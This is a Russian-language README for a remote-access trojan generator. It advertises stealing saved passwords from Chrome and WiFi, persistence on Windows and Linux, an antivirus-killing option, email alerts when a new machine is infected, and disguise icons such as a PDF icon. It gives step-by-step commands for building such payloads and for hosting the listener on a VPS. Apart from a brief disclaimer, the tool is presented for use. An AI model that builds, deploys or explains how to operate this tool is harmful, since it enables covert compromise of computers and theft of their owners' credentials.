THorse

THorse — это генератор RAT (Remote Administrator Trojan) для систем Windows/Linux, написанный на Python 3.

                    Этот небольшой python-скрипт умеет делать по-настоящему потрясающие вещи.

Отказ от ответственности

:computer: Этот проект был создан только в благих целях и для личного использования.

ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ» БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ. ВЫ МОЖЕТЕ ИСПОЛЬЗОВАТЬ ЭТО ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ НА СВОЙ СОБСТВЕННЫЙ РИСК. ИСПОЛЬЗОВАНИЕ ЯВЛЯЕТСЯ ПОЛНОЙ ОТВЕТСТВЕННОСТЬЮ КОНЕЧНОГО ПОЛЬЗОВАТЕЛЯ. РАЗРАБОТЧИКИ НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ И НЕ ОТВЕЧАЮТ ЗА ЛЮБОЕ НЕПРАВИЛЬНОЕ ИСПОЛЬЗОВАНИЕ ИЛИ УЩЕРБ, ПРИЧИНЁННЫЙ ЭТОЙ ПРОГРАММОЙ.

Возможности

Поддерживаемые источники, из которых извлекаются сохранённые пароли :
Браузер Chrome
WiFi

Примечание: кастомный стилер написан с нуля и не полагается на LaZagne

Протестировано на

Kali Linux - ROLLING EDITION

Windows 10

Windows 8.1 - Pro

Windows 7 - Ultimate

Ниже перечислены ограничения meterpreter-полезной нагрузки, созданной с помощью Metasploit:-

Необходимо запустить Metasploit Listener до выполнения бэкдора
Бэкдор сам по себе не обеспечивает персистентность; чтобы сделать его персистентным, нам приходится использовать постэксплуатационные модули. А постэксплуатационные модули могут быть использованы только после успешной эксплуатации.
Не уведомляет нас при каждом выполнении полезной нагрузки в новой системе.

Мы все знаем, насколько мощной является полезная нагрузка Meterpreter, но всё же созданная на её основе полезная нагрузка неудовлетворительна.

Ниже приведены возможности этого генератора полезной нагрузки, которые дадут вам хорошее представление об этом python-скрипте:-

Использует реестр Windows для обеспечения персистентности в Windows.
Также обеспечивает персистентность в Linux-системах.
Полезная нагрузка может работать как в Linux, так и в Windows.
Предоставляет полный доступ; можно использовать как Metasploit listener, так и собственный listener (вы можете создать свой собственный listener)
Отправляет уведомление по электронной почте при каждом запуске полезной нагрузки в новой системе, вместе с полной информацией о системе.
Генерирует полезную нагрузку в течение 1 минуты или даже быстрее.
Поддерживает все постэксплуатационные модули Meterpreter.
Полезная нагрузка может быть создана как в Windows, так и в Linux.

Предварительные требования

Python 3.X
Несколько внешних модулей

Пожалуйста, обратите внимание:

В Windows укажите/задайте путь к Pyinstaller в paygen.py [строка 14]

Путь по умолчанию: PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")

Измените его в соответствии с вашей системой

Как использовать в Linux

# Install dependencies 
$ Install latest python 3.x

# Navigate to the /opt directory (optional)
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd thorse

# Installing dependencies
$ bash installer_linux.sh

# If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ chmod +x paygen.py
$ python3 paygen.py --help

# Making Payload/RAT
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT with Custom Time to become persistence
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --persistence 10 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Как использовать на VPS (рекомендуется)

# 1. Setup a VPS, You can buy Ubuntu VPS from any VPS Provider such as Digital Ocean, Linode, AWS, etc

# 2. Connect to your VPS Using SSH
$ ssh username@ip_address

# 3. Update Your Linux VPS
$ sudo apt update

# 4. Add Kali Linux Repository
$ sudo sh -c "echo 'deb https://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list.d/kali.list"

# 5. Install gnupg package
$ sudo apt install gnupg

# 6. Add Kali Public Keys
$ wget 'https://archive.kali.org/archive-key.asc' && sudo apt-key add archive-key.asc

# 7. Update VPS
$ sudo apt update

thorse

Популярное